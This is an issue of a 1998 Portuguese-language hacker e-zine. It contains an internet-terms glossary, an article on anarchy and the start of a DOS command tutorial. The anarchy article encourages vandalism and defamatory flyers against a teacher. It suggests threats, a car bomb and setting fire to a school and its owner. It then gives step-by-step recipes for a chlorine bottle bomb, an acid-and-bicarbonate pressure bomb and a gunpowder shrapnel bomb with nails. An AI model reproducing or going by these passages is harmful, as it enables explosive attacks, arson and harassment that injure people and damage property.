Feito integralmente por Na_Ideia !
ano 01 numero 02 - julho de 1998 !
pppppppppp sssssssssss ii cccccccccc oooooooooooo
pp p ss ii cc oo oo
pp p ss ii cc oo oo
pp p ss ii cc oo oo
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CYBER
pode ser downloadeado em http://www.angelfire.com/id/psicocyber
e-mail naideia@yahoo.com
MELHOR SE ABERTO NO EDIT DO DOS OU ALGO PARECIDO
(editor de txt)
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* ESTE ZINE TEM COMO OBJETIVO A INFORMACAO, POR ISSO NAO ME RESPONSABILIZO *
* POR QUALQUER ATO IRRESPONSAVEL E/OU IMBECIL FEITO POR QUEM LER ESSE ZINE *
* TAMBEM NEM RECOMENDO A PRATICA DE ATOS ILEGAIS AQUI CONTIDOS !! *
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Alerta
Se o que vc procura e soh codigo de ViRuS ou apenas dicazinhas
de invadir sistemas alheios veio ao zine errado !!
Aqui vc ira fazer minicursos que irao lhe proporcionar
um entendimento melhor da BANANA !!!!!!!
TTTTTTT EEEEEE MM MM PPPPPP OOOOOOO
T E M M M M P P O O
T EEE M M M M PPPPPP O O
T E M M M M P O O
T EEEEEE M M M P OOOOOOO
NAO C O R R A CONTRA !!! ANDE JUNTO !!!!
< Na_Ideia & VERME >
* Ainda nao inventaram nada para substituir a BURRICE humana !! *
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No zine: linha:
Intro 75
Dicionario 92
ANARQUIA 673
SO 823
Tutorial de ASSEMBLER - 1. parte 1055
FTP 1250
Intro ao PHREAK - 2. aula 1282
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Intro
Como dito, o num. 02 bem menos limitado que o 1.
Vc vai encontrar no decorrer do zine um artigo sobre ANARQUIA ,
que eh ERRADAMENTE confundido com vandalismo e destruicao.
Anarquia nao eh sair por ai destruindo tudo que encontra pela frente,
fazer bombas, detonar o colegio, zoar uma lanchonete ...... Anarquia eh
o simples fato de vc poder fazer o que bem entender, sem ninguem te
dizendo o que fazer e o que nao fazer.
E comeca nesse numero o tutorial de ASSEMBLER, aqui so tem uma
intro, pois ASSEMBLER nao e' facil, e nessecita ser visto com
muita calma, no n.3 comecara o tutorial de C e C++ !!!
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DICIONARIO - 2.parte - final
LlLLlLlLlLlLLLLlLlLLlLLLLlLlLLLLlLlLLlLlLLLLlLlLLLLLLLLlLLLLlLLLLlll
lamer - Nao ha uma definacao padrao, o lamer (em alguns lugares
conhecido por lammer, lamah, etc..) eh o mais mane' , o mais tosco
o mais burro (nao no sentido de informacao, eh falta de inteligencia
mesmo) de todos no cyber world. Erradamente confundido com beginners,
ou newbies (iniciantes), passam E-mails anonimos e acham que sao
hackers.
LAN - Local Area Network. Rede Local. E' uma rede com 2 ou algumas
dezenas de computadores que nao se estende para alem dos
limites fisicos de um qualquer edificio. Normalmente utilizada nas
empresas para interligacao local dos seus computadores. Existem
varias tecnologias que permitem a realizacao de uma rede local,
sendo as mais importantes, a Ethernet e o Token-Ring.
largura de banda - Ver Bandwidth.
latencia - Tempo que uma unidade de informacao leva a percorrer um dado
meio de comunicacao. Pode-se, por exemplo, dizer que o tempo de
latencia de um satelite VSAT e' de 300 ms, o que significa que um
caracter enviado a partir de um ponto leva 300 ms a chegar a outro,
passando pelo satelite.
leased-line - Linha alugada. A maior parte das linhas que ligam as
varias maquinas da Internet sao linhas alugadas disponiveis
permanentemente. Com uma linha alugada, dois computadores
encontram-se em conexao permanente. Em Portugal, ainda e' um sonho
instalar uma, pois e' bastante caro.
linha alugada - ver leased-line.
link - No WWW, uma palavra destacada indica a existencia de um link,
que e' uma especie de apontador para outra fonte de informacao.
Escolhendo esse link, obtem-se a pagina de informacao que ele desginava
que pode, por sua vez, ter tambem varios links.
Linus Torvalds - The one and only! :-) O inventor do Linux, aquele que
teve a ideia e desenvolveu o nucleo (kernel) e algumas
ferramentas/utilitarios basicos. A melhor ideia dele foi talvez o
fato de o disponibilizar na Internet, tornando-o um sistema operativo
de dominio publico. Linus foi mais tarde apoiado entusiasticamente
por muitos outros "internetianos" (e nao so') formando uma equipa
que regularmente controi novas aplicacoes, melhora as existentes,
corrige erros, etc.
linux - Nome derivado do nome do autor do nucleo deste sistema
operativo, Linus Torvalds. O Linux e' hoje em dia um sistema
operativo com todas as caracteristicas do Unix, com uma implantacao
invejavel e em constante evolucao... e e' do dominio publico.
Normalmente e' distribuido em diferentes "releases" que mais nao sao
do que um nucleo (recompilavel) acompanhado de programas, utilitarios,
ferramentas, documentacao, etc. Uma das releases mais conhecidas e' a
Slackware.
login - Identificacao de um utilizador perante um computador. Fazer o
login e' o acto de dar a sua identificacao de utilizador ao computador.
logout - Acto de desconectar a sua ligacao a um determinado
sistema ou computador.
lynx - Um programa (browser) para ver navegar no WWW. O lynx foi pensado
para ser usado em terminais texto, portanto so' se pode visualizar
a informacao textual, ficando a restante (imagens, sons, etc.)
disponivel para gravacao no disco do seu computador para mais tarde
ver/ouvir.
mMmMmMmMmMmMmMmMmmmMmMmMmMmMmMmMmMmMmMmmmmmmmmmmmmmmmmMMmMMMMmMmmmMmmmMM
mail - carta electronica.
mailing list - Uma lista de assinantes que se correspondem por
correio electronico. Quando um dos assinantes escreve uma carta para
um determinado endereco electronico (de gestao da lista) todos os
outros a recebem, o que permite que se constituam grupos (privados)
de discussao atraves de correio electronico.
mail server - Programa de computador que responde automaticamente
(enviando informacoes, ficheiros, etc.) a mensagens de correio
electronico com determinado conteudo.
MAN - Metropolitan Area Network. Rede de computadores com extensao
ate' algumas dezenas de kilometros, interligando normalmente algumas
centenas de computadores numa dada regiao.
mil - Sufixo dos enderecos electronicos pertencentes `as
organizacoes militares norte-americanas.
mime - Multipurpose Internet Mail Extensions. Conjunto de regras
definidas para permitirem o envio de correio electronico (texto) com
outros documentos (graficos, sons, etc.) anexos.
modem - MOdulador DEModulador. Pequeno aparelho (sob a forma de uma
carta interna de expansao - a introduzir no interior do seu
computador - ou uma caixa de plastico com luzinhas no painel
posterior) que permite ligar um computador `a linha telefonica, para
assim estar apto a comunicar com outros. Muitos dos modems sao
tambem capazes de realizar funcoes de fax. A sua aplicacao mais
importante sera' porventura a ligacao a BBS ou `a Internet (atraves
de um fornecedor de acesso).
mosaic - O primeiro programa (browser) para o WWW concebido pela NCSA
(EUA). Com ele o WWW tomou um grande impulso pois foi a primeira
ferramenta que permitia visualizar a informacao do WWW, e utiliza-la,
de forma grafica e atraente.
MUD - Multi User Dungeon. Um jogo para varios utilizadores,
normalmente presente num qualquer servidor na Internet. E' uma
especie de Mundo Virtual onde se podem encontrar e interactuar
varios utilizadores. Normalmente, passa-se tudo textualmente (nada
de imagens bonitas ou sons espalhafatosos).
multi-frequencia - Varias frequencias. Deginacao para uma linha
telefonica capaz de transportar sinais electricos em frequencias
diferentes. Sao aquelas linhas que permitem ter um telefone em que
a marcacao e' feita por tonalidades e nao por impulsos.
NnNnNNnNnNnNnNnNnNnNnNNnnNNNNNnnnNNnNNnnNNnNNnnNNnNNnNNnNNnNNnNNNnNN
navegar - Na Internet significa vaguear, passear, procurar
informacao, sobretudo no WWW. Tambem se pode dizer surfar, para os
mais radicais! :-)
NCSA - National Center for Supercomputing Applications.
net - Rede (de computadores, nexte contexto).
netiquette - Conjunto de regras e conselhos para uma boa utilizacao da
rede Internet, de modo a se evitarem erros proprios de novatos
aquando da interaccao com outros utilizadores (mais experientes).
A netiquette baseia-se muito no simples e elementar bom senso.
netscape - Um programa (browser) para o WWW. Sucessor do
Mosaic e desenvolvido pela mesma equipa de programadores, o
Netscape evolui mais rapidamente e esta'-se a tornar no browser de
WWW mais usado, devido `as suas caracteristicas de rapidez, cache,
visualizacao interna de varios formatos de ficheiros, suporte para
uma linguagem de descricao de pagina mais evoluida, etc.
network - Rede de computadores.
newbie - Novato. Designacao depreciativa dada pelos veteranos
da Internet `aqueles que a descobriram recentemente.
news - Noticias, em portugues, mas melhor traduzido por foruns ou
grupos de discussao. Abreviatura de Usenet News, as news sao
grupos de discussao, organizados por temas (mais de 10.000!), a maior
parte deles com distribuicao internacional, podendo haver alguns
distribuidos num so' pais ou numa instituicao apenas. Nesses
grupos, publicos, qualquer pessoa pode ler artigos e escrever os
seus proprios artigos. Alguns grupos sao moderados, significando
isso que um humano designado para o efeito le os artigos antes de
serem publicados, para constatar da sua conformidade para com o tema
do grupo. No entanto, a grande maioria dos grupos nao sao moderados.
newsgroup - Um grupo de news, um forum ou grupo de discussao.
NNRP - Network News Reading Protocol. Protocolo que permite que um
programa leitor de news obtenha a informacao (artigos, grupos, etc.)
a partir de um servidor de news.
NNTP - Network News Transport Protocol. Protocolo para a
transferencia dos grupos de news da Usenet e mensagens de controlo.
OOOOooOooOooOooOooOooOoOOoOoOOOoOOoOoOoOoOooooOoOoOoooooOOooOoOoOoOooo
offline - `A letra: "fora da linha". Significa que nenhuma ligacao
por linha telefonica ou outra esta' no momento activa. Por exemplo,
a leitura de mail offline implica que se possa ler mail no seu
proprio computador sem que ele esteja ligado ao servidor (tendo
portanto sido transferidas as cartas para esse computador, previamente).
As ligacoes offline nao permitem a navegacao interactiva na Internet,
pois o computador nao pode enviar comandos e receber dados em tempo real.
online - Por oposicao a offline, online significa "estar em linha", e
star ligado em determinado momento `a rede ou a um outro computador.
Para alguem, na Internet, "estar online", e' necessario que
nesse momento essa pessoa esteja a usar a Internet e que tenha,
portanto, efecutado o login num determinado computador da rede.
PppPpppPppPPPPPppPPppPppPPppPPppPPppPPPpPPppPPPpPPppPPpPPpPPpPPpPPpP
password - Palavra-chave usada para identificacao do utilizador, em
conjunto com o login (nao sendo este secreto, como o e' - deve ser -
a password).
PGP - Pretty Good Privacy. Programa para a codificacao mensagens de
texto, inventado por Philip Zimmerman. Uma mensagem assim enviada e'
inquebravel e so' o seu destinatario a pode descodificar, dando para
isso uma chave que so' ele conhece.
pine - Um programa/leitor de correio electronico para ambientes Unix
(se bem que tambem se possam encontrar versoes para outros sistemas
operativos). `A base de menus com escolha de opcoes por letras e teclas
de cursor. Dizem os utilizadores que e' mais simples que o elm...
Suporta tambem o formato de mensagens MIME (mensagens de texto com
outro tipo de ficheiros anexos).
ping - Pequeno utilitario utilizado para ver se uma determinada
ligacao se encontra activa e qual o tempo que uma mensagem leva
para ir de um ponto ao outro da ligacao. O ping envia pacotes
(geralmente 64 bytes) para um ponto, que responde enviando um outro
pacote equivalente.
port - Porto ou Porta, em portugues. A interface de sockets, no
Unix faz corresponder aos processos daemon um port, onde esse processo
se registou na altura do seu arranque e que permite a um programa
cliente saber onde se deve ligar. Por exemplo, o servidor de mail
(mail daemon) esta' sempre `a escuta no port 25 (ate' 1023 os ports
sao reservados ao sistema).
post - Desgina um artigo de news, por vezes. Fazer um post significa
escrever e enviar um artigo para um grupo de news.
PPP - Point to Point Protocol. O PPP implementa o protocolo TCP/IP
(o(s) protocolo(s) da Internet) numa linha telefonica, para que atraves
da mesma um computador pessoal se possa ligar `a Internet e usufruir
de todos os servicoes e aplicacoes existentes. E' uma norma, posterior
ao SLIP e mais completo.
processo - Programa a correr num determinado instante, portanto
presente na memoria do computador. Esta terminologia e' usada em
maquinas Unix, onde se podem ter varios processos a correr ao mesmo
tempo.
protocolo - Um protocolo e' para os computadores o que uma linguagem
(lingua) e' para os humanos. Dois computadores para poderem
transferir informacoes entre si devem utilizar o mesmo protocolo
(ou ter um terceiro que perceba os dois protocolos e faca a traducao).
proxy - Procuracao, em portugues. Um servidor (programa) proxy
(ou com capacidades de proxy) recebe pedidos de computadores ligados
`a sua rede e, caso necessario, efectua esses mesmos pedidos
(de HTTP, Finger, etc.) ao exterior dessa rede (nomeadamente, a
resto da Internet), usando como identificacao o seu proprio
numero IP e nao o numero IP do computador que requisitou o servico.
Util quando nao se dispoem de numeros IP registados numa rede interna
ou por questoes de seguranca.
pt - Codigo ISO atribuido para identificacao de Portugal.
pt-net - Uma mailing list de portugueses, no estrangeiro (principalmente)
e em Portugal. E' a mais importante mailing list portuguesa e ai se
debatem temas de todo o tipo, geralmente relacionados com Portugal.
public domain - Dominio Publico.
pulse - Impulso. Uma linha telefonica e' por impulsos se
nao for multifrequencias, isto e', os sinais de digitacao sao
enviados por uma serie de pequenos impulsos, separados por espacos.
A digitacao (e estabelecimento de chamada) neste tipo de linhas e'
mais lenta.
QqqQqQqQQqQqQqQQqQqQQQQqQQQQqQqQQqQQqQqQqQqQqQqQqQqQqqqQqqqqqqQqqqqQqQ
RrrRrRrRRrRrRrrRrRrrRrRrrRrrRrrrrrRrrrrrrrrrrRRrRRRRrRRRRRrrRrRRrrrRRrr
readme - Leia-me. Ficheiro que deve ser lido antes de se iniciar a
utilizacao ou instalacao de um determinado programa, sistema,
computador, etc. Contem geralmente informacoes que podem poupar tempo
ao utilizador que pretende fazer algo (e esse algo tem um ficheiro
README acessivel).
reply - Resposta.
RFC - Request For Comments. Documentos que definem normas e protocolos
para a Internet e onde se fazem as discussoes de nivel tecnico para
a definicao de novos protocolos.
router - Computador, software ou material dedicado que serve para
interligar duas ou mais redes efecutando automaticamente a
redireccao correcta das mensagens de uma rede para outra.
RTFM - Read The Fucking Manual. Leia a porra do manual. Termo utilizado
para indicar a alguem que deve ler o manual, pois provavelmente anda
a fazer perguntas que ai estao claramente respondidas.
SsSSSSSSsSsSssSssSsSSsSsSSsSsSSsSsSSsSSSSsSSsSsSsSssSssssSsSSsSs
scp - Abreviatura de soc.culture.portuguese, o grupo de news
distribuido internacionalmente, dedicado a Portugal e `a cultura
portuguesa, no sentido lato.
server - Servidor. Um computador na Internet que oferece
determinados servicos.
servidor - Computador que oferece servicos.
SGML - Standard General Markup Language. Uma linguagem de
descricao de paginas em hipertexto mais geral que o HTML.
shareware - Software que e' distribuido livremente, desde que seja
mantido o seu formato original, sem modificacoes, e seja dado o devido
credito ao seu autor. Normalmente, foi feito para ser testado durante
um curto periodo de tempo (periodo de teste/avaliacao) e, caso seja
utilizado, o utilizador tem a obrigacao moral de enviar o pagamento
ao seu autor (na ordem de algumas - poucas - dezenas de dolares).
Quando e' feito o registo, e' normal receber-se um manual impresso do
programa, assim como uma versao melhorada, possibilidade de assistencia
tecnica e informacoes acerca de novas versoes.
signature - Assinatura. Geralmente e' a porcao de texto incluida no fim
de uma carta electronica ou de um artigo de news (neste caso, por norma,
deve ser inferior a 4 linhas, de 80 caracteres no maximo cada, sem
TAB's nem codigos, para alem dos caracteres ASCII normais).
site - Um "site" da Internet e' um dos no's/computadores existentes.
Por exemplo, um site FTP e' um computador algures que oferece o
servico de FTP (identico a FTP server).
SLIP - Serial Line Internet Protocol. O SLIP implementa o protocolo
TCP/IP (o(s) protocolo(s) da Internet) numa linha telefonica, para
que atraves da mesma um computador pessoal se possa ligar `a Internet
e usufruir de todos os servicoes e aplicacoes existentes. Foi o
primeiro protocolo definido para a utilizacao de TCP/IP em linhas
telefonicas.
smiley - Sao pequenos conjuntos de caracteres ASCII que pretendem
transmitir uma emocao ou estado de espirito. Devem ser visualizados
de lado, com a folha a 90 graus...
Os mais conhecidos sao: :-) ou :) :-( ou :( ;-) ou ;)
SMTP - Simple Mail Transport Protocol. Protocolo utilizado entre os
programas que transferem correio electronico de um computador para outro.
snail mail - Em portugues, Correio Caracol. E' o correio tradicional
(que e' muito mais lento que o correio electronico, dai o nome).
sockets - O nome da interface em Unix (originalmente, mas tambem ja'
existente noutras plataformas) que implementa os protocolos TCP/IP.
Uma interface e' um conjunto de chamadas possiveis a bibliotecas que
contem rotinas implementando determinados objectivos, neste caso,
comunicacao em TCP/IP.
SOUP - Simple Offline Usenet Protocol. "Norma" (ou programa) que define
como deve ser um pacote compactado de cartas electronicas e artigos de
news, para serem lidos offline, por um qualquer programa leitor
que compreenda esse formato.
spam - Publicacao do mesmo artigo de news em varios grupos de
discussao, geralmente resultando em desperdicio de espaco em disco e
largura de banda nos meios de transmissao.
sysadmin - System Administrator. O responsavel por um sistema.
system V - Uma versao (comercial) do sistema operativo Unix.
TttTtTtTtttTTtTtTtTTTTTTtTtTtTttTtTTtTtTTtTTtTTTTTtTtTTTttTtTttTt
talk - Programa que permite que dois utilizadores (existem
versoes que permitem mais utilizadores) "dialoguem textualmente" em
directo atraves da Internet.
talker - Um programa servidor que pode manter varios utilizadores
ligados ao mesmo tempo, permitindo-lhes a interaccao/dialogo textual.
TCP - Transmission Control Protocol. Um dos protocolos Internet do
conjunto TCP/IP, que implementa o nivel 4 do modelo OSI,
atraves transporte de mensagens com ligacao.
TCP/IP - Conjunto de protocolos da Internet, definindo como se
processam as comunicoes entre os varios computadores. Pode
ser implementado em virtualmente qualquer tipo de computador, pois
e' independente do hardware. Geralmente, para alem dos protocolos
TCP e IP (porventura os 2 mais importantes), o nome TCP/IP designa
tambem o conjunto dos restantes protocolos Internet: UDP, ICMP, etc.
telnet - Protocolo/programa que permite a ligacao de um computador a um
outro, funcionando o primeiro como se fosse um terminal remoto
do segundo. O computador que "trabalha" e' o segundo enquanto
que o primeiro apenas visualiza no ecran os resultados e envia os
caracteres digitados (comandos) no seu teclado.
thread - Dentro de um grupo de discussao, existem normalmente varios
threads. Um thread representa um assunto especifico ai debatido e e'
composto por um ou mais artigos.
Tim Berners Lee - O homem, na altura investigador do CERN,
que definiu/inventou o protocolo HTTP e deu origem ao WWW.
tin - Um leitor de news, com uma estrutura de menus semelhante ao elm
(leitor de correio electronico).
tone - Por oposicao a "pulse", tonalidade. Numa linha telefonica
por tonalidade (multifrequencia) a marcacao de um numero traduz-se no
envio de sinais em diferentes frequencias (sons diferentes). A marcacao
de um numero (estabelecimento de chamada) neste tipo de linha e' mais
rapida que numa linha por impulsos.
trn - Threaded News. Um leitor de news, onde os artigos sao apresentados
por thread's.
trumpet - Trumpet e' o nome dado aos programas que implementam e usam o
TCP/IP em ambiente Windows, feitos por Peter Tattam. O mais importante
e' o Trumpet Winsock. Nome da firma.
UuUuUuUuUuUuUuUuUuUuUuUuUuUuUuuuUuUuUuUuUuUuUuUuUuUuUuUuUuuuUuUuuuu
UART - Universal Asynchronous Receiver Transmiter. Circuito
integrado responsavel pelas comunicacoes atraves de uma porta serie,
num computador.
UDP - User Datagram Protocol. Um dos protocolos do conjunto de protocolos
da Internet (habitualmente designado por TCP/IP). Corresponde ao
nivel 4 do modelo OSI, pois e' um protocolo de transporte, sem
ligacao. Em UDP, uma mensagem e' enviada para o destino, sem que haja
uma ligacao logica efectuada entre a origem e o destino (semelhante
a uma ligacao telefonica entre dois pontos). O(s) pacote(s) de
mensagens podem entao passar por varios nos da Internet ate' chegar
ao destino. Menos fiavel que o TCP (outro protocolo de transporte,
mas com ligacao), mas bastante util quando a perda de um ou outro
pacote nao seja importante e se pretende velocidade na transmissao e
evitar a sobrecarga de varias ligacoes logicas estabelecidas.
unix - Sistema operativo com caracteristicas de multi-tarefa
preemptiva, criado nos anos 70, nos Bell Labs. Desde ai
evoluiram muitas variantes diferentes do sistema operativo.
upload - Fazer o upload de um ficheiro. Acto de transferir o ficheiro
do seu computador para um computador remoto, usando qualquer
protocolo de comunicacoes.
URL - Uniform Resource Locator. Localizador Uniformizado de Recursos.
Metodo de especificao de um determinado recurso na Internet, seja ele
obtido por FTP, News, Gopher, Mail, HTTP, etc. Pretende uniformizar o
maneira de designar a localizacao de um determinado tipo de
informacao na Internet. Exemplo: http://www.insa-lyon.fr - pedido,
por HTTP, da home page (WWW) do INSA de Lyon.
usenet - Conjunto dos grupos de discussao, artigos e computadores
que os transferem. A Internet inclui a Usenet, mas esta pode ser
transportada por computadores fora da Internet.
user - O utilizador dos servicos de um computador, normalmente
registado atraves de um login e uma password.
utilizador - Ver user.
UUCP - Unix to Unix CoPy. Um metodo (antigo, mas ainda usado) para
transmitir correio e artigos da Usenet entre computadores.
Originalmente feito para fazer a transmissao entre computadores Unix,
agora tambem e' possivel usa-lo noutro tipo de computadores.
uudecode - Programa para descodificar um ficheiro de texto e transforma-lo
no binario correspondente. Juntamente com o uuencode, permite que se
transfiram binarios (portanto, qualquer software) atraves de um
simples ficheiro de texto.
uuencode - Programa para codificar um ficheiro binario e transforma-lo
no um ficheiro de texto. Juntamente com o uudecode, permite que
se transfiram binarios (portanto, qualquer software) atraves de
um simples ficheiro de texto.
VVvVvVVvVvVVVVVvvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvvvvvVvVVVvvvvv
V.32bis - Uma das normas estabelecidas para os modems e que
define a transmissao de dados `a velocidade de 14400 bps.
V.34 - Uma das normas estabelecidas para os modems e que define a
transmissao de dados `a velocidade de 28800 bps.
V.Fast - Uma pseudo-norma definida pelos fabricantes de modems para
permitir a transmissao de dados `a velocidade de 28800 bps.
Obsoleta com a chegada da norma V.34.
V.FC - Ver V.Fast.
viewer - Programa que permite ver (dai o seu nome) um ficheiro
gravado num determinado formato. Existem portanto viewers de GIF,
de WAV (diz-se tambem Player, quando se trata de sons), de JPEG,
Postscript, etc.
VSAT - Very Small Aperture Terminal. Uma antena VSAT permite a
transmissao de dados (envio e recepcao) para outra antena VSAT,
usando uma parte da banda disponivel nos satelites VSAT.
VT100 - Um tipo de emulacao de terminal muito frequente na Internet.
WwwWwWWWwWwWwWwWWwwWwwWWwwWWwwWwwwwwWwWWwWWwWWWwWWwwWwwWwwwww
WAIS - Wide Area Information Service
WAN - Wide Area Network. Um rede de computadores que se com extensao
de varias dezenas de kilometros ate' milhares de kilometros.
web - Em portugues, teia. Abreviatura para designar o World-Wide-Web.
whois - Directorio de enderecos electronicos de pessoas e computadores,
na Internet, contendo informacoes relativas.
winsock - Implementacao da interface de sockets para o WIndows.
Com uma winsock (programa/livraria para o windows) e' possivel
a utilizacao dos protocolos SLIP e/ou PPP no Windows, ou seja, e'
possivel falar a mesma "lingua" que os outros computadores da Internet.
World-Wide-Web - Conjunto dos servidores que "falam" HTTP e
informacao ai armazenada em formato HTML. O World-Wide-Web e' uma
grande teia de informacao multimedia em hipertexto. O hipertexto
significa que se pode escolher uma palavra destacada numa determinada
pagina e obter assim uma outra pagina de informacao relativa
(semelhante ao Help do Windows). As paginas podem conter texto,
imagens, sons, animacoes, etc. O World-Wide-Web e' uma gigantesca
base de dados distribuida acessivel de uma forma muito atraente e
intuitiva.
WWW - Sigla de World-Wide-Web.
WWW server - Um computador que fornece servicos no WWW, que possui
informacao acessivel no WWW.
XxxXxXXXxXxXxXxXxXxXxXXXXXXXxXXXXxXxXXxXxXxXxXxXxXxXxxxxxxxXXxXx
X.25 - Um protocolo de transferencia de pacotes, sem ligacao logica,
definido pelos operadores publicos de telecomunicacoes, na Europa
(sobretudo para dar dinheiro! :-) )
YYYYyYYyyyYyYyyYyyyyYYyYYyYYyYYyYYYyYYyYyYyyYyYYyYYYyyYYyYYyYYyYYyYyy
Yanoff - Scott Yanoff. Um homem que se lembrou de criar uma lista
(Lista de Yanoff) que contem enderecos electronicos e indicacao de
outros recursos, para a obtencao de informacao na Internet. Essa
lista esta' estruturada em temas (desde Agricultura, Bioquimica,
Desporto, etc.) e e' regularmente actualizada. Nao contem indicacoes
para tudo o que existe na Internet (pois isso e'impossivel) mas
pode ser de grande ajuda.
Xmodem - Um protocolo de transferencia de dados por modem,
relativamente lento.
Ymodem - Um protocolo de transferencia de dados por modem,
com alguns melhoramentos em relacao ao Xmodem.
ZZzZzzZzzZzzZzZZzZZzZZzZZzZZzZZzZZzZZZZZzZZzZZZZZZzZZzZZZzZZzZZzZZz
Zmodem - Um protocolo de transferencia de dados por modem, com
alguns melhoramentos em relacao ao Xmodem e ao Ymodem, em particular,
mais rapido.
outros outros outros outros outros
:-( - Veja smiley. Um smiley com uma expressao triste.
:-) - Veja smiley. Um smiley com uma expressao contente.
;-) - Veja smiley. Um smiley piscando o olho.
@ - Pronuncia-se como o ingles "at" e encontra-se entre o nome do
utilizador e o dominio, num endereco electronico.
baseado no Dicionario do Internetes
de Antonio Miguel Caetano Ferreira
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ANARQUIA
Erradamente e abitualmente confundido com vandalismo e destruicao.
Anarquia e' uma organizacao, nacao, um grupo ou o que vc achar melhor,
sem regras e ninguem para dar ordens e dizer se ta bom ou ruim. Em uma
anarquia vc faz o que achar melhor. Nao va achar que pelo fato de vc
ter derramado katchup no Mc Donalds, baixado as calcas do bobao da
turma ou explodido a cabeca de um gato vc e' um anarquista !! Isso
e'atitude de lamer e de crianca (nada contra crianca, se vc for uma,
tem mais e' que curtir essa fase mesmo) !!
Seja inteligente, demonstre suas ideias de uma forma criativa.
Se vc tem ideias anarquistas use-as, nao as destrua!
A MELHOR FORMA DE DEMONSTRAR UMA IDEIA, E' USANDO AS LETRAS OU
AS PALAVRAS, EM ULTIMO CASO UTILIZAREMOS BOMBAS & CIA !!!
Ideias AnArQuIsTaS:
* Pixe um muro (de preferencia que seja grande
branco, que nao tenha pixacoes e que nao seja
da casa de ninguem (salvo aqueles idiotas que
merecem ter seus muros completamente pixados).
De preferencia a muros de empresas que nao
tenham um bom servico ou que cobrem caro por
eles, muros de escolas que tenham uma pesima
administracao e casas de politicos corruptos).
Escreva nele (com letras gigantescas) algumas
verdades e/ou ideias que vc queira espressar.
Mas nao seja burro de cair em cana !!
Fique ligado com cachorros, segurancas, pessoas
inconvenientes, e claro com os omi da lei !!!
* O teu professor(a) e'um(a) idiota !!
Coloque panfletos nas paredes da tua escola
dizendo que ele tem um caso com o(a) diretor(a).
* A mensalidade da sua escola e'muito alta !!
Converse com alunos, professores e o dono da
escola sobre o assunto, e se nao adiantar,
descubra o telefone da casa dele, e faca
atendados. Se tudo continuar como estava,
coloque uma bela bomba no seu carro !
Se nada disso adiantar, toque fogo nele,
(no colegio e no dono dele) !!!!!!!!
* Crie letras de musica ou textos que deixem
uma mensagem no ar.
-------------->>>> BOMBAS <<<<----------------
Todas as bombas aqui citadas foram feitas e funcionaram !!
(ou melhor, explodiram). Ira depender de vc o correto
funcionamento delas !!
TODO RISCO E DANO CAUSADA PELAS BOMBAS E DE TOTAL
RESPONSABILIDADE SUA, VALE LEMBRAR TAMBEM QUE
QUANTO MAIS SIMPLES E INOFENCISA PARECA SER
A BOMBA, VC ESTARA CORRENDO UM GRANDE RISCO !!!!!!
Bomba de CLORO - materiais:
uma garrafa de refri de 2 litros;
um pouco de cloro granulado (20 a 50g);
a mesma quantidade de acucar;
agua a gosto.
Coloque o cloro na garrafa, faca uma mistura de
agua (1 quarto da garrafa) e acucar, agite e jogue
na garrafa. Feche bem e faca o que quizer com ela.
A reacao nao e'rapida, por isso nao va pega-la se
tiver demorando muito pra explodir !!!
Bomba de BICARBONATO DE SODIO - materiais:
bicarbonato de sodio, um acido qualquer
(vinagre e' acido acetico, e'fraco mas
tbem da) e um recipiente qualquer que
tenha presao.
Essa reacao e' super rapida, por isso deve-se
tomar alguns cuidados.
Coloque dentro de bexigas, latas, garrafas
ou o que der na telha.
Para garrafas, deve-se dobra-la, de modo que o
acido (vinagre no caso) fique de um lado, e o
bicarbonato de outro, e desdobra-la na hora da
explosao! ou use o esquema a baixo !!
Uso de bicarbonato com acido em bombas !!!
______
| |
| |
/ \
/ \
/ \
| |
| |ÛÛÛ|----|--->> bicarbonato
|___|ÛÛÛ|____|
| |ÛÛÛ| |
| |
| acido |
| |
| |
|____________|
Num recipiente com acido, coloque lentamente um outro menor
(com o bicarbonato dentro) dentro do grande (com o acido) de modo
que o bicarbonato nao entre em contato com acido (pode-se encaixar
na lateral do recipiente maior, ou deixar boiando (essa ultima
e' mais facil, porem bem mais perigosa)). O recipiente maior deve
ser bem tampado (que faca bastante presao) , e o menor destampado.
Funcionamento: Quando o recipiente maior for arremecado ou virado
o bicarbonato ira entrar em contato com o acido e vai reagir
liberando gazes, a presao almenta e o recipiente explode !!!!
A potencia desta bomba ira variar dependendo da intencidade
do acido, e da presao do recipiente !!!
Alguns extintores de incendio funcionam assim, so' que com uma
abertura, por onde a reacao escapa em forma de espuma.
Bomba de IMPACTO - materiais:
saco plastico;
polvora (desmonte rojoes);
corda ou fita adesiva;
pedras (mineral) ou bolas de gude;
parafusos e/ou pregos (opcional).
Coloque tudo dentro do saco (use de preferencia 2
ou mais), amarre o saco de modo que fique levemente
apertado (se apertar demais podera explodir na sua
mao), arremece ela .... mas cuidado com os estilhacos.
Se for usado pregos e/ou parafusos, deve-se tomar mais
cuidado ainda, pois voara bem mais estilhacos !
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SISTEMAS OPERACIONAIS -- aula 01
SO, como e conhecido, e' o software essencial para o funcionamento
do computador. Basicamente o SO e' composto do Kernel (nucleo),
arquivos de comando e alguns aplicativos basicos.
Irei ensinar a manipular os principais SOs existentes por ai, que
sao o DOS, WINDOWS (nao recomendo), LINUX (otimo OS), UNIX,
OS/2, Mac OS, etc...
MS-DOS
Eh o unico SO descente da Microsoft, equipou a grande maioria dos
computadores ate a chegada do Windows (5, 6, ..... anos atras),
ainda e'encontrado em muitos computadores, e no Windows 95 vem
uma versao bem redusida dele. Muito parecido com ele (praticamente
igual), e' o IBM PC DOS, e levente diferente e'o NOVELL DOS, que
era mais recomendado para workgroups (rede de trabalho).
Se vc acha besteira aprender a usar bem o DOS, vc ta enganado, o
DOS e'o 1. sistema que se deve manipular bem, se vc so usa o
Windows, comece a usar bastante o seu DOS, vc ira adquirir uma
boa esperiencia, pois o LINUX e o UNIX basicamente sao bem parecidos.
Comandos: sintaxe:
cls --- limpa a tela cls
cd --- abre um diretorio (pasta) ------ cd nome_dir
cd..
cd\
.. - retorna um subdir;
\ - retorna ao root.
md --- cria um diretorio ----- md nome_dir
rd --- apaga um dir. tem que estar
fora do dir e ele tem que
estar vazio. ------------ rd nome_dir
dir --- lista os aquivos e subdirs
de um diretorio. ---------- dir /a /p /w /s
/a -- lista os dirs. e
arqs. ocultos.
/p -- da uma pausa por tela
/w -- lista na horizontal.
/s -- lista os subdirs.
ex.
dir /s psico --- mostra os arqs. e subdirs.
do dir. psico.
dir *win*.* --- lista os arqs. do dir. atual
